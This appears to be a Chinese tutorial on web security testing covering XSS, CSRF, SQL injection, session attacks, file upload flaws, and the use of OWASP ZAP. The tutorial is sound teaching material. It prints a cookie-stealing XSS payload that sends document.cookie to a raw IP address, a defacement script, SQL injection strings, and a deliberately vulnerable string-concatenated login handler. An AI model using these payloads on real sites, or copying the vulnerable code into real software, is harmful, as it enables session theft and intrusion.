测试技能提升

您所在的位置:网站首页 提高软件安全性的方法 测试技能提升

测试技能提升

2023-06-27 18:49| 来源: 网络整理| 查看: 265

安全测试介绍

发现软件安全漏洞的过程,旨在保护系统的数据与功能 安全测试以破坏系统的安全策略为目标进行攻击,从而检查系统的漏洞或薄弱环节 对系统的要求:能够向合法用户提供服务,同时能够组织非授权用户使用和破坏 安全测试与传统测试的区别 在这里插入图片描述 在这里插入图片描述 安全测试常用方法 静态代码检查:通过代码走读的方式对源代码进行安全性测试 动态渗透测试:主要借助工具或者手工模拟黑客的输入,对应用程序进行安全性测试 扫描程序中的数据:主要对内存进行测试,尽量发现诸如缓冲区溢出之类的漏洞

举例:SQL注入 用户名’ or 1=1 – [前面的单引号结束SQL语句 or 逻辑判断 一真都真,后面–注释后面的语句]

安全测试维度 客户端脚本安全测试 跨站脚本攻击(XSS)

是指攻击者往web页面插入恶意script代码,在用户浏览网页时,嵌入的代码会被执行,从而达到恶意攻击用户的目的 危害 盗取各类用户账号 盗取、注入修改、删除客户端敏感数据 网站木马 肉鸡(控制受害机攻击别的机器) XSS攻击原理 在这里插入图片描述 XSS攻击的类型 存储型 又称持久性跨站脚本 跨站代码长期存储在服务器中(数据库中) 用户每次访问都会被执行 比如在个人信息、发表文章、发表评论等地方 反射型 又称非持久型跨站脚本 只是简单的把用户输入的数据反射给浏览器 攻击者事先制作号攻击链接,需要欺骗用户自己点击链接才能触发XSS代码 XSS攻击常用的HTML标签 在这里插入图片描述 xss攻击步骤 1、页面查找XSS漏洞 2、注入恶意程序 3、客户端访问注入恶意程序的页面 4、获取客户端敏感信息或攻击    页面查找XSS漏洞(只要该脚本能执行,说明有xss漏洞) 脚本:< script>alert(123)< /script> 说明:一般作为漏洞测试使用,如果页面支持弹出框执行,意味着系统没有过滤和/字符,说明存在XSS(跨站脚本攻击)漏洞    注入恶意程序 < script> window.open('http://121.43.169.97:9999/xss?cookie=+document.cookie) 说明: 该接口是由攻击者开发的,用于搜集用户的cookies信息 document.cookies:js脚本,用于获取当前网站的全部cookie数据    客户端访问注入恶意程序的页面 在这里插入图片描述 窃取客户端敏感信息 在这里插入图片描述 XSS攻击案例-注入外部JS文件

var body = document.getElementsByTagName("body")[0]; var div = document.createElement("div"); div.innerHTML = "该网站已被控制!"; body.insertBefore(div, body.firstChild);

说明:创建xss.js文件,编写脚本实现在页面插入一句话“该网站已被控制!”,并放置到攻击者服务器中。 在这里插入图片描述 在这里插入图片描述 XSS攻击防御 HttpOnly 给关键的cookie都加上HttpOnly属性 浏览器将禁止页面的javaScript访问带有httponly属性的cookie 输入检查: 检查用户输入的数据中是否包含一些特殊字符,如、 如果发现存在特殊字符,则将这些字符过滤或者编码 输出检查: 在变量输出到html页面时,可以使用编码或者转义的方式来防御XSS攻击 XSS漏洞扫描 检测XSS漏洞的方式 在这里插入图片描述

跨站点请求伪造(CSRF)

理解:攻击者盗用了你的身份,以你的名义发送恶意请求或者进行某些非常规操作 攻击原理 在这里插入图片描述 案例 在这里插入图片描述 防御 验证码: 验证码被认为是对抗CSRF攻击最简洁有效的防御方法,但是处于用户体验考虑,不能给所有的操作都加上验证码 验证http referer: http referer可被用于检查请求是否来自合法的“源” 添加token并验证: 在请求地址中添加token并验证 XSS和CSRF的区别 在这里插入图片描述

网络安全测试 数据加密

http协议加密 --协议层面 HTTPS:在HTTP的基础上通过传输加密和身份认证保证了传输过程的安全性 HTTPS的特点: 数据保密性:保证数据内容在传输的过程中不会被第三方查看 • 数据完整性:防止传输的内容被中间人冒充或者篡改 • 身份校验安全性:通过证书认证客户端访问的是自己的服务器,保证数据到达 用户期望的目的地

程序数据加密 --程序层面 在程序中对接口数据进行加密,保证敏感数据不是按照明文进行传输 在这里插入图片描述 接口加密方式 在这里插入图片描述

数据签名

数据签名:在发送请求的时候,增加一个无法伪造的字符串,用来保证数据在传输的过程中不被篡改 案例: 在这里插入图片描述 数据签名的好处: 防篡改,防伪造,防抵赖,身份认证,保密性

时间戳

DoS攻击是指故意的攻击网络协议实现的缺陷或直接通过野蛮手段残忍地耗尽被攻击对象的资源 目的:让目标计算机或网络无法提供正常的服务或资源访问,使目标系统停止响应甚至崩溃 在这里插入图片描述 时间戳机制主要用来应对非法的DOS攻击 在这里插入图片描述

流量限制

服务器所能处理的并发是有限,超过一定的并发可能会导致系统崩溃 • 基于对业务系统的保护,需要对请求访问速率进行限制,防止访问速率过高

用户认证安全性测试 认证与会话管理

在这里插入图片描述 密码是最常见的认证手段,持有正确密码的人被认为是可信的 l 密码的优点是使用成本低,认证过程实现起来很简单 l 缺点是密码认证是一种比较弱的安全方案,可能会被猜解 l “密码强度”是设计密码认证方案时第一个需要考虑的问题

密码设置推荐策略 01-密码长度方面 • 普通应用要求长度为6位以上 • 重要应用要求长度为8位以上,并考虑双因素认证 02-密码复杂度方面 • 密码区分大小写字母 • 密码为大写字母、小写字母、数字、特殊符号中两种以上的组合 • 不要有连续性的字符,比如:1234abcd • 尽量避免出现重复的字符,比如:1111 03-其他 • 不要使用用户公开的数据或者个人隐私相关的数据作为密码 • 比如:QQ号、身份证号、生日、手机号等 常见的认证方式 session认证 在这里插入图片描述 Session Fixation攻击 1、攻击者先获取到一个未经认证的sessionID 2、然后将这个sessionID交给用户去认证 3、完成认证后,服务器并未更新此sessionID的值 4、攻击者可以凭借此sessionid登录用户的账户进行攻击 解决方案:登录之后应该重写sessionid Session保持攻击

Session是有生命周期的,当用户长时间未活动后,或者用户点击退出后,服务器将销毁Session如果攻击者能一直持有一个有效的Session(比如间隔性地刷新页面),而服务器对于活动的Session也一直不销毁的话,攻击者就可以实现长期攻击 对抗: 一定时间后强制销毁Session,比如从用户登录的时间算起,2天后强制Session过期 • 当用户客户端发生变化时,要求用户重新登录 • 如果每个用户只允许拥有一个Session,当用户再次登录时,“踢掉”之前的Session • 用户退出登录后是否删除其登录的相关信息

token认证 在这里插入图片描述 多因素认证 说明: • 对于很多重要的系统来说,如果只有密码作为唯一的认证手段,从安全上看略显不足 • 因此为了增强安全性,大多数网上银行和网上支付平台都会采用双因素或多因素认证 在这里插入图片描述

暴力破解

暴力破解:是指黑客利用密码字典,使用穷举法猜解出用户密码 说明: • 暴力破解是现在最为广泛使用的攻击手法之一 • 为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作 暴力破解防范 理论上来说,大多数系统都是可以被暴力破解的,只要攻击者有足够强大的计算能力和时间,所以断定一个系统是否存在暴力破解漏洞,其条件也不是绝对的 • 一个系统存在暴力破解漏洞,一般是指该系统没有采用或者采用了比较弱的认证安全策略,导致其被暴力破解的“可能性”变的比较高 提高暴力破解难度: 要求用户设置复杂的密码 认证时加入验证码校验 对尝试登录的行为进行判断和限制(如:连续输入3次错误密码,进行账号锁定或IP地址锁定等)

权限控制

在这里插入图片描述 垂直权限管理 说明 访问控制实际上是建立用户与权限之间的对应关系,现在应用广泛的一种方法,就是“基于角色的访问控制” 在这里插入图片描述 垂直权限管理 在这里插入图片描述 水平权限管理 相对于垂直权限管理来说,水平权限问题出现在同一个角色上 • 系统只验证了能访问数据的角色,然而没有对角色内的用户做细分,也没有对数据的子集做细分 • 缺乏一个用户到数据之间的对应关系 注意事项: 水平权限管理问题,至今仍然是一个难题 它难以发现,难以在统一框架下解决 很难通过扫描等自动化测试方法将这些问题全部找出 越权漏洞案例演示 在这里插入图片描述

应用程序安全性测试 SQL注入

SQL注入攻击是指通过构建特殊的请求参数传入应用程序,通过执行SQL语句进而执行攻击者所要的操作 主要原因是程序没有细致地过滤用户输入的数据,导致非法数据侵入系统 SQL注入原理 在这里插入图片描述 SQL注入常用SQL语句

1. select version(),user(),database(); 2. select * from t_user limit 1; 3. select * from t_user order by 1; 4. select * from t_user where id=-1 union select 1,2,3,4,5,6; 5. select * from t_user; -- 注释 6. select * from t_user; # 注释 7. show databases; 8. show tables; 9. show columns from tableName;

sql注入案例 在这里插入图片描述 注入源码分析

@app.route("/login", methods=["POST"]) def login(): # 获取用户输入的参数 username = request.form.get("username") password = request.form.get("password") # 查询数据库 sql = "select * from t_user where username='"+ username +"' and password='"+ password +"'" data = DBUtil.get_one(sql) # 数据校验 if data is not None: return "登录成功" else: return "用户名或密码错误"

漏洞修复 在这里插入图片描述 防范 对用户的输入数据进行校验 不要动态拼装SQL,使用参数化语句 不要使用管理员权限的数据库连接,为每个应用使用单独的权限进行数据库连接 不要把敏感数据直接保存到数据库中 应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装

文件上传漏洞

文件上传漏洞是指攻击者上传了一个可执行的文件(木马,病毒,恶意脚本),并通过此脚本文件获得了执行服务器命令的能力 在这里插入图片描述 文件上传漏洞原理

大部分的网站都有上传功能,而程序员在开发文件上传功能时,并未考虑文件后缀名的合法性校验这时攻击者可以上传一个与网站脚本语言相对应的恶意代码动态脚本,例如(jsp、asp、php文件)到服务器上当访问这些恶意脚本中包含的恶意代码时,进行动态解析最终达到执行恶意代码的效果,从而影响服务器安全 案例 在这里插入图片描述 在这里插入图片描述 防范 文件上传的目录设置为不可执行 判断文件类型 使用随机数改写文件名和文件路径 单独设置文件服务器的域名 数据库安全性测试 数据备份和恢复

备份:数据库系统必须采取必要的备份措施 恢复:保证发生故障时,可以快速恢复数据库

敏感数据加密

数据安全隐患无处不在,因此对数据的加密,是保护数据库安全的有效措施。 数据加密是应用最广、成本最低廉而相对最可靠的方法。 数据加密是保护数据在存储和传递过程中不被窃取或修改的有效手段。

审计追踪机制

审计追踪机制:是指系统设置相应的日志记录,特别是对数据修改和删除的记录,以便日后查证,确保系统的安全

认证和权限控制

用户在访问数据库时,必须经过身份认证 对非超管用户,必须设定有限的权限和专用的密码 控制用户的权限,在程序中不能使用root账号连接数据库

owasp服务端安全测试体系

用户视角下的正常流程 在这里插入图片描述 黑客视角下的业务流程 在这里插入图片描述 应用安全风险 在这里插入图片描述 在这里插入图片描述 服务端安全分类 生产环境安全 网络安全 系统安全 应用安全(业务安全)

常见安全工具

开源:OWASP ZAP Sqlmap 付费:AppScan BurpSuite WVS

安全测试关注维度

传输: 敏感信息传递加密 链路加密 接口: 访问控制 参数: 注入:sql注入、命令注入、文件注入 越权:越过更高权限,越过统计权限 业务安全常见的checklist 业务数据传输链路分析: http是否传输敏感信息 tcp等协议是否可被解密 资产安全分析: api清单收集:明确敏感信息分级,可访问性验证 api参数收集:明确参数分类并针对分析 token可遍历,文件上传,身份参数的有效性验证 建立安全测试流程 白盒代码分析:自动化 snoar,findbugs等 黑盒扫描机制:自动化 zap,wvs,burpsuite,appscan,sqlmap 业务流程安全探索:人工检测 burpsuite.zap

BurpSuite

重要特性 在这里插入图片描述 应用场景 服务端攻击:篡改请求 客户端攻击:篡改响应

OWASP ZAP使用

每开一个owasp zap 相当于一个实例,一个会话 在这里插入图片描述 选择第二项,指定保存位置,避免多次重复扫描同一漏洞(耗时耗力,也可能造成问题) 开启zap代理之后,浏览器开启代理,访问的站点网站会被记录下来(手动页面点击登录等,都会被记录下来) 在这里插入图片描述 在这里插入图片描述 设置好代理之后,可以将页面的每个地方都点击一下,需要提交数据的地方进行提交数据,进行手动的爬网 在这里插入图片描述 点击文件菜单,打开会话,会加载之前的session 在这里插入图片描述 点击工具栏图表三个小方块,显示已安装部分的更新字样,说明官方有新的版本,勾选进行更新 在这里插入图片描述 市场里的插件,release版本说明是已经发布的成熟版本,beta是测试版,alpha则更加新的测试版,建议realese和beta版本插件都安装,app有更新的话也更新

如果是火狐24.0以上的版本,点击该按钮会进行自动配置代理 在这里插入图片描述 通过截断代理在点击网页操作时,已经进行了相关的录制,下方已经出现一些警告(通过浏览器返回截获的数据进行分析得到的一些漏洞,被动扫描功能发现) 在这里插入图片描述 fuzz构造不同的坏数据是否会触发bug 点击工具–点击fuzz-点击选择爬取到的其中一个站点-在弹出的对话框中点击add可添加 在这里插入图片描述 再次点击add,可以将选中的字符进行替换掉,对该站点进行fuzz,点击start下方出现fuzzed标签 在这里插入图片描述 在这里插入图片描述点击paloads可以选择相关的文件替换,可以选择, 在这里插入图片描述 在这里插入图片描述 软件内已内置相关的文件,字典 在这里插入图片描述 注入结束后可以查看code筛选,成功后的http响应码不同,以及size resp header

自定义添加扫描策略 在这里插入图片描述 如果在扫描过程中,遇到需要使用token的场景,可以在设置中添加token的·名称 在这里插入图片描述 HTTPS证书安装 设置里面,点击证书保存,将保存的证书添加到浏览器中 contexts 可以理解为范围,可以将某个站点进行添加 在这里插入图片描述 凡是有靶心图标的认为同时也在scope范围内,凡是在scope里面的我们都可以使用相同的策略进行扫描,如果不想对scope里面的某一个进行相同的策略扫描,可以将其移除 在这里插入图片描述 httpsession 在这里插入图片描述 采用默认的session,客户端在点击账号密码登录的时候,服务器返回的token,只要浏览器不关,他就会一直保存在内存里面,一直有效 在这里插入图片描述 在这里插入图片描述 在这里插入图片描述 在这里插入图片描述 如果在请求某个页面的时候吗,觉得返回的数据是有编码的,可以右键点击打开编码/解码/哈希值 在这里插入图片描述 截断 点击上方小红点,开启截断功能,开启后,客户端的所有请求都会在代理服务器上停留

在这里插入图片描述 在这里插入图片描述 标准扫描工作流程 设置代理 手动爬网 自动爬网 在这里插入图片描述 手动,自动爬网结束后,就可以开始进行扫描了 主动扫描



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3